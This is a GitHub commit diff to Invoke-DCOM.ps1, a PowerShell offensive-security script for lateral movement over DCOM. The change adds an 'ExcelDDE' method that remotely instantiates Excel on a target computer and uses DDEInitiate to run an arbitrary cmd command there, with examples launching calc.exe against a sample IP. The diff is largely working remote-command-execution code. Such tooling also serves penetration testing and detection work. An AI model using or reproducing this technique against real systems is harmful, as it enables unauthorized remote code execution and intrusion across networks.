Update Invoke-DCOM.ps1

This commit is contained in:
Steve Borosh
2017-11-08 19:43:16 -05:00
committed by GitHub
parent d5fdd6e2b7
commit 68fe70c4e9
+9 -2
View File
@@ -39,7 +39,8 @@ function Invoke-DCOM {
.EXAMPLE
Import-Module .\Invoke-DCOM.ps1
Invoke-DCOM -ComputerName '192.168.2.100' -Method MMC20 -Command "calc.exe"
Invoke-DCOM -ComputerName '192.168.2.100' -Method MMC20.Application -Command "calc.exe"
Invoke-DCOM -ComputerName '192.168.2.100' -Method ExcelDDE -Command "calc.exe"
Invoke-DCOM -ComputerName '192.168.2.100' -Method ServiceStart "MyService"
#>
@@ -51,7 +52,7 @@ function Invoke-DCOM {
[Parameter(Mandatory = $true, Position = 1)]
[ValidateSet("MMC20.Application", "ShellWindows","ShellBrowserWindow","CheckDomain","ServiceCheck","MinimizeAll","ServiceStop","ServiceStart",
"DetectOffice","RegisterXLL")]
"DetectOffice","RegisterXLL","ExcelDDE")]
[String]
$Method = "MMC20.Application",
@@ -182,6 +183,12 @@ function Invoke-DCOM {
$Obj = [System.Activator]::CreateInstance($Com)
$obj.Application.RegisterXLL("$DllPath")
}
elseif ($Method -Match "ExcelDDE") {
$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
$Obj = [System.Activator]::CreateInstance($Com)
$obj.DDEInitiate("cmd", "/c $Command")
}
}
End {